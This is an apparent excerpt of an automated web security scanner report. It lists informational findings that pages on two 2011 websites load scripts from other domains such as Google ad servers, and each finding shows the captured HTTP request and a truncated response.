http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit

Request

GET / HTTP/1.1
Host: www.ortho.hyperguides.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.318. http://www.orthosupersite.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.orthosupersite.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://partner.googleadservices.com/gampad/google_service.js
http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en

Request

GET / HTTP/1.1
Host: www.orthosupersite.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:49:44 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=bgshf5bmesgppfrt0omr2f55; path=/; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 36754

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="ctl00_Hea
...[SNIP]...
<span><script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js"></script>
...[SNIP]...
<input type="image" src="images/layout/search-btn.gif" width="15" height="15" id="go" alt="Search" title="Search" />

<script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...

21.319. http://www.orthosupersite.com/cmecenter/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.orthosupersite.com
Path:	/cmecenter/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js
http://partner.googleadservices.com/gampad/google_service.js
http://www.wyanokeis.com/glorec/js/cmeTrackandAlertLinks.js
http://www.wyanokeis.com/glorec/js/lightbox2.04/lightbox.js
http://www.wyanokeis.com/glorec/js/prototype.js
http://www.wyanokeis.com/glorec/js/scriptaculous.js?load=effects,builder
http://www.wyanokeis.com/glorec/js/toggleText.js

Request

GET /cmecenter/ HTTP/1.1
Host: www.orthosupersite.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmv=; __gads=ID=d31aeba125496fcb:T=1296942556:S=ALNI_MZXOPP-ulluks0dwU5yXdL25aUCbQ; maintab=recent; __utmz=195559410.1296942580.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=195559410.1188681698.1296942576.1296942576.1296942576.1; __utmc=195559410; _jsuid=1382578180342833760; __utmb=195559410.1.10.1296942576; ASP.NET_SessionId=cqydyxbb3jujgm455wxylfzf;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:07:24 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 52554

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><
...[SNIP]...
</title>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script>
...[SNIP]...
<link rel="stylesheet" href="http://www.wyanokeis.com/glorec/js/lightbox2.04/lightbox.css" type="text/css" media="screen" />
<script src="http://www.wyanokeis.com/glorec/js/toggleText.js" type="text/javascript"></script>
<script src="http://www.wyanokeis.com/glorec/js/cmeTrackandAlertLinks.js" type="text/javascript"></script>
<script src="http://www.wyanokeis.com/glorec/js/prototype.js" type="text/javascript"></script>
<script src="http://www.wyanokeis.com/glorec/js/scriptaculous.js?load=effects,builder" type="text/javascript"></script>
<script src="http://www.wyanokeis.com/glorec/js/lightbox2.04/lightbox.js" type="text/javascript"></script>
<span><script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js"></script>
...[SNIP]...

21.320. http://www.orthougm.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.orthougm.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009

Request

GET / HTTP/1.1
Host: www.orthougm.com
Proxy-Connection: keep-alive
Referer: http://www.orthougm.com/nslookup.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=c8b51ca83e2e32ffe71257e9d1b145d9; __utmz=68219727.1296942500.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=68219727.429166960.1296942499.1296942499.1296942499.1; __utmc=68219727; __utmb=68219727.2.10.1296942499

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:49:00 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 24754

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" >
<meta name="go
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</div>
<script type='text/javascript' src='http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009'></script>
...[SNIP]...

21.321. http://www.orthougm.com/1993_hip_hop_songs.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.orthougm.com
Path:	/1993_hip_hop_songs.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009

Request

GET /1993_hip_hop_songs.html HTTP/1.1
Host: www.orthougm.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=68219727.1296942500.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=c8b51ca83e2e32ffe71257e9d1b145d9; __utma=68219727.429166960.1296942499.1296942499.1296942499.1; __utmc=68219727; __utmb=68219727.2.10.1296942499;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:08:01 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 44100

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" >
<meta name="go
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</div>
<script type='text/javascript' src='http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009'></script>
...[SNIP]...

21.322. http://www.orthougm.com/about_big_surf.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.orthougm.com
Path:	/about_big_surf.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009

Request

GET /about_big_surf.html HTTP/1.1
Host: www.orthougm.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=68219727.1296942500.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=c8b51ca83e2e32ffe71257e9d1b145d9; __utma=68219727.429166960.1296942499.1296942499.1296942499.1; __utmc=68219727; __utmb=68219727.2.10.1296942499;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:07:41 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 45853

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" >
<meta name="go
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</div>
<script type='text/javascript' src='http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009'></script>
...[SNIP]...

21.323. http://www.orthougm.com/adult_add_symptoms_answerbag.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.orthougm.com
Path:	/adult_add_symptoms_answerbag.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009

Request

GET /adult_add_symptoms_answerbag.html HTTP/1.1
Host: www.orthougm.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=68219727.1296942500.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=c8b51ca83e2e32ffe71257e9d1b145d9; __utma=68219727.429166960.1296942499.1296942499.1296942499.1; __utmc=68219727; __utmb=68219727.2.10.1296942499;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:07:56 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 23474

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" >
<meta name="go
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</div>
<script type='text/javascript' src='http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009'></script>
...[SNIP]...

21.324. http://www.orthougm.com/angelica_lee_profession.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.orthougm.com
Path:	/angelica_lee_profession.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009

Request

GET /angelica_lee_profession.html HTTP/1.1
Host: www.orthougm.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=68219727.1296942500.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=c8b51ca83e2e32ffe71257e9d1b145d9; __utma=68219727.429166960.1296942499.1296942499.1296942499.1; __utmc=68219727; __utmb=68219727.2.10.1296942499;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:07:45 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 42946

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" >
<meta name="go
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</div>
<script type='text/javascript' src='http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009'></script>
...[SNIP]...

21.325. http://www.orthougm.com/angelica_lee_sin_je_chinese.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.orthougm.com
Path:	/angelica_lee_sin_je_chinese.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009

Request

GET /angelica_lee_sin_je_chinese.html HTTP/1.1
Host: www.orthougm.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=68219727.1296942500.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=c8b51ca83e2e32ffe71257e9d1b145d9; __utma=68219727.429166960.1296942499.1296942499.1296942499.1; __utmc=68219727; __utmb=68219727.2.10.1296942499;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:07:59 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 42761

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" >
<meta name="go
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</div>
<script type='text/javascript' src='http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009'></script>
...[SNIP]...

21.326. http://www.orthougm.com/angelina_jolean.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.orthougm.com
Path:	/angelina_jolean.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009

Request

GET /angelina_jolean.html HTTP/1.1
Host: www.orthougm.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=68219727.1296942500.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=c8b51ca83e2e32ffe71257e9d1b145d9; __utma=68219727.429166960.1296942499.1296942499.1296942499.1; __utmc=68219727; __utmb=68219727.2.10.1296942499;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:08:05 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 43366

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" >
<meta name="go
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</div>
<script type='text/javascript' src='http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009'></script>
...[SNIP]...

21.327. http://www.orthougm.com/banco_scotia.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.orthougm.com
Path:	/banco_scotia.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009

Request

GET /banco_scotia.html HTTP/1.1
Host: www.orthougm.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=68219727.1296942500.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=c8b51ca83e2e32ffe71257e9d1b145d9; __utma=68219727.429166960.1296942499.1296942499.1296942499.1; __utmc=68219727; __utmb=68219727.2.10.1296942499;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:08:08 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 46156

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" >
<meta name="go
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</div>
<script type='text/javascript' src='http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009'></script>
...[SNIP]...

21.328. http://www.orthougm.com/how_to_use_nslookup.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.orthougm.com
Path:	/how_to_use_nslookup.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009

Request

GET /how_to_use_nslookup.html HTTP/1.1
Host: www.orthougm.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=68219727.1296942500.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=c8b51ca83e2e32ffe71257e9d1b145d9; __utma=68219727.429166960.1296942499.1296942499.1296942499.1; __utmc=68219727; __utmb=68219727.2.10.1296942499;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:07:36 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 45556

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" >
<meta name="go
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</div>
<script type='text/javascript' src='http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009'></script>
...[SNIP]...

21.329. http://www.orthougm.com/kabul.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.orthougm.com
Path:	/kabul.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009

Request

GET /kabul.html HTTP/1.1
Host: www.orthougm.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=68219727.1296942500.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=c8b51ca83e2e32ffe71257e9d1b145d9; __utma=68219727.429166960.1296942499.1296942499.1296942499.1; __utmc=68219727; __utmb=68219727.2.10.1296942499;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:07:50 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 44952

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" >
<meta name="go
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</div>
<script type='text/javascript' src='http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009'></script>
...[SNIP]...

21.330. http://www.orthougm.com/nextbio_is_op.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.orthougm.com
Path:	/nextbio_is_op.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009

Request

GET /nextbio_is_op.html HTTP/1.1
Host: www.orthougm.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=68219727.1296942500.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=c8b51ca83e2e32ffe71257e9d1b145d9; __utma=68219727.429166960.1296942499.1296942499.1296942499.1; __utmc=68219727; __utmb=68219727.2.10.1296942499;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:08:02 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 31476

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" >
<meta name="go
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</div>
<script type='text/javascript' src='http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009'></script>
...[SNIP]...

21.331. http://www.orthougm.com/nslookup.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.orthougm.com
Path:	/nslookup.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:47:57 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.13
Set-Cookie: PHPSESSID=c8b51ca83e2e32ffe71257e9d1b145d9; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 44698

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" >
<meta name="go
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</div>
<script type='text/javascript' src='http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009'></script>
...[SNIP]...

21.332. http://www.orthougm.com/super_cheap_air_ticket.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.orthougm.com
Path:	/super_cheap_air_ticket.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://track2.mybloglog.com/js/jsserv.php?mblID=2010103023295009

Request

GET /super_cheap_air_ticket.html HTTP/1.1
Host: www.orthougm.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=68219727.1296942500.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=c8b51ca83e2e32ffe71257e9d1b145d9; __utma=68219727.429166960.1296942499.1296942499.1296942499.1; __utmc=68219727; __utmb=68219727.2.10.1296942499;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:08:20 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
